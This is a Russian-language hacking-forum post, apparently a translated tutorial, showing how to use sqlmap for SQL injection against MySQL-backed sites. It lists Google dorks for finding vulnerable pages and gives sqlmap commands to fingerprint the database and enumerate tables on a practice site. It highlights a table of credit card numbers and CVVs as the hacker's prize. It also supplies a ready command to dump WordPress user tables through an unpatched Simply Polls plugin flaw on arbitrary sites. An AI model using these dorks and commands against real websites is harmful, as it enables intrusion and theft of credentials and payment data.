Взлом базы данных, часть 3: использование sqlmap для SQL-инъекции в MySQL и WordPress

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
153
Депозит
-8.95$
SQL-инъекция — одна из самых серьёзных и распространённых атак на веб-сайты. Практически каждый веб-сайт имеет базу данных, содержащую конфиденциальную и ценную информацию, которая часто может быть скомпрометирована хорошо спланированной атакой с SQL-инъекцией.

6a4a49_dc328e9d0e77493f8d40f08e4c0b1f06~mv2.jpg


Существует множество инструментов для SQL-инъекций, но, пожалуй, самым популярным является sqlmap. В этом руководстве мы воспользуемся sqlmap для взлома базы данных MySQL, расположенной на веб-сайте.

Как правило, MySQL используется совместно с PHP и веб-сервером Apache (часто называемым LAMPP или XAMPP) для создания динамических веб-сайтов, работающих на основе баз данных. Такие пакеты управления контентом и разработки, как Drupal, Joomla, WordPress, Ruby on Rails и другие, используют MySQL в качестве базы данных по умолчанию. Миллионы веб-сайтов используют MySQL, и зачастую это сайты «домашней разработки», не уделяющие должного внимания безопасности.

В этом руководстве мы рассмотрим, как извлечь информацию из онлайн-базы данных MySQL, прежде чем извлекать её непосредственно из неё. Повторюсь, чем больше мы знаем, тем успешнее будет наш взлом и тем меньше вероятность быть обнаруженным.

Sqlmap можно использовать и для баз данных, отличных от MySQL, например, для Microsoft SQL Server и Oracle, но здесь мы сосредоточим внимание на его возможностях на тех распространенных веб-сайтах, которые созданы с использованием PHP, Apache и MySQL, таких как WordPress, Joomla и Drupal.

Шаг №1 Запуск sqlmap

Сначала запустите Kali и перейдите в Приложения -> Оценка базы данных ->sqlmap , как показано на снимке экрана ниже.

6a4a49_6297be1186274d048e5b31e2ed95dcea~mv2.png


Шаг №2. Найдите уязвимый веб - сайт

Чтобы попасть «внутрь» веб-сайта и, в конечном счёте, в базу данных, мы ищем веб-сайты, заканчивающиеся на «php?id=xxx», где xxx — это некий номер. Те, кто знаком с хаками/дорками Google, могут выполнить поиск в Google, введя:

  • inurl:index.php?id=
  • inurl:gallery.php?id=
  • inurl:post.php?id=
  • inurl:article?id=
…среди многих других.

Эти чудаки выдадут буквально миллионы сайтов по этому базовому критерию уязвимости. Если вы креативны и амбициозны, вы можете найти множество сайтов со списком уязвимых сайтов. Возможно, вам стоит взглянуть на них.

Для наших целей и чтобы уберечь вас от преследования закона, мы взломаем сайт www.webscantest.com , специально предназначенный для этой цели . Мы сможем практиковаться на этом сайте и оттачивать ваши навыки, не беспокоясь о нарушении законов и необходимости вносить за вас залог.

Шаг

При нажатии на sqlmap вы увидите экран, подобный показанному ниже.

6a4a49_a48f5b54da724a888d74f0c2a3963ad8~mv2.png


Этот первый экран справки демонстрирует основы использования SQLmap, но есть и другие экраны, демонстрирующие ещё больше возможностей. Для краткости я их исключил, но мы вернёмся к некоторым из этих дополнительных опций и возможностей в будущих руководствах по SQLmap.

Sqlmap — мощный инструмент, написанный на Python (скоро мы разберём его в руководстве по Python), обладающий множеством возможностей. В этом руководстве мы лишь поверхностно рассмотрим его возможности.

Шаг №4. Определите СУБД , лежащую в основе веб - сайта.

Прежде чем начать взламывать веб-сайт, нам нужно собрать информацию. Нам нужно знать, ЧТО мы взламываем. Как я уже много раз говорил, большинство эксплойтов очень специфичны для ОС, приложения, служб, портов и т. д.

Давайте начнем с выяснения того, какая СУБД лежит в основе этого веб-сайта.

Для запуска sqlmap в этой задаче вводим:

kali> sqlmap -u « полный URL уязвимой веб - страницы »

или этот случай:

kali> sqlmap -u «http://www.webscantest.com/datastore/ search_get_by_id.php?id=4″

Обратите внимание, что весь URL-адрес заключен в двойные кавычки («).

6a4a49_80ff33b96a21458296ea0a1d69771e4a~mv2.png


При этом sqlmap вернёт результаты, подобные показанным ниже. Обратите внимание, что я подчеркнул, что бэкенд сайта использует MySQL 5.0.

6a4a49_5d1245cc17fc44df970cc73d9d3b2877~mv2.png


Шаг №5. Найдите базы данных

Теперь, когда мы знаем, что такое MySQL 5.0 как система управления базами данных (СУБД), нам нужно узнать, какие
базы данных она содержит. В этом нам поможет sqlmap. Берём команду, которую мы использовали выше, и добавляем к ней –dbs , например:

kali > sqlmap -u «http://www.webscantest.com/datastore/

search_get_by_id.php?id=4″ –dbs


При запуске этой команды на www.webscantest.com мы получим результаты, подобные приведенным ниже.

6a4a49_3ed0d2c2d0c749e9a6903bdec8100dda~mv2.png


Обратите внимание, что я обвёл две доступные базы данных: информационную схему и webscantest . Информационная схема входит в состав каждой установки MySQL и содержит информацию обо всех объектах в экземпляре MySQL, но не содержит интересующие нас данные. Хотя изучение этой базы данных может быть полезным для поиска объектов во всех базах данных экземпляра, мы сосредоточимся на другой базе данных, webscantest , которая может содержать ценную информацию. Давайте рассмотрим её подробнее.

Шаг №6. Получите больше информации из базы данных

Итак, теперь мы знаем, какая СУБД используется (MySQL 5.0) и какое имя нужной нам базы данных (webscantest). Следующий шаг — попытаться определить таблицы и столбцы в этой базе данных. Таким образом, мы получим представление о том, (1) какие данные находятся в базе данных, (2) где они находятся и (3) какой тип данных она содержит (числовые или строковые). Вся эта информация критически важна и необходима для извлечения данных. Для этого нам нужно внести несколько небольших изменений в нашу команду sqlmap.

Все остальное, что мы использовали выше, остается прежним, но теперь мы сообщаем sqlmap, что хотим увидеть таблицы и столбцы из базы данных webscantest.

Мы можем добавить к нашей команде –columns -D и имя базы данных, webscantest, например так:

kali > sqlmap -u «http://www.webscantest.com/datastore/

search_get_by_id.php?id=4″ –dbs –columns -D webscantest


6a4a49_57c050ea66de42e5835ef4842493568e~mv2.png


Когда мы это сделаем, sqlmap обратится к базе данных webscantest и попытается перечислить таблицы и столбцы в этой базе данных.

Как видно ниже, sqlmap успешно перечислил три таблицы: (1) счета, (2) инвентарь и (3) заказы, включая названия столбцов и типы данных. Неплохо!

6a4a49_5603989b28934e9d96290e4825fb3d62~mv2.png
6a4a49_97414aa480d74de7b1e45a709e6f896e~mv2.png


Обратите внимание, что в таблице заказов выше указаны номера кредитных карт, сроки действия и CVV-код. В следующих уроках я покажу вам, как извлечь эту информацию — «золотое руно» хакера!

Шаг №7. Продвинутая и современная атака SQLmap на сайты WordPress

Теперь, когда мы познакомились с основами sqlmap, давайте рассмотрим более продвинутое применение этого замечательного инструмента. Недавно (28 декабря 2016 г.) исследователь безопасности (Tad Group) обнаружил уязвимость к сложной атаке с использованием SQL-инъекции на сайты WordPress, использующие плагин Simply Polls (https://wordpress.org/plugins/simply-polls/). Поскольку эта атака была обнаружена совсем недавно, а издатель ещё не выпустил исправление, большинство этих сайтов уязвимы.

Чтобы найти сайты WordPress, ознакомьтесь с моим руководством по поиску уязвимых сайтов WordPress.

Команда sqlmap для использования этих сайтов WordPress с плагином Simply Polls выглядит следующим образом:

sqlmap -u «http://example.com/wp-admin/admin-ajax.php»

–data="action=spAjaxResults&pollid=2" –dump -T wp_users -D wordpress –threads=10 –random-agent –dbms=mysql –level=5 –risk=3


Конечно, замените «example.com» на URL-адрес уязвимого веб-сайта.

Заключение

Как видите, sqlmap может быть очень универсальным и полезным инструментом для взлома MySQL, а также баз данных MS SQL Server и Oracle. Мы планируем вернуться к sqlmap в ближайшем будущем, чтобы подробнее рассмотреть его обширные возможности для взлома баз данных.
 
ну ты не взломаешь если хорошая защита
 
Назад
Сверху Снизу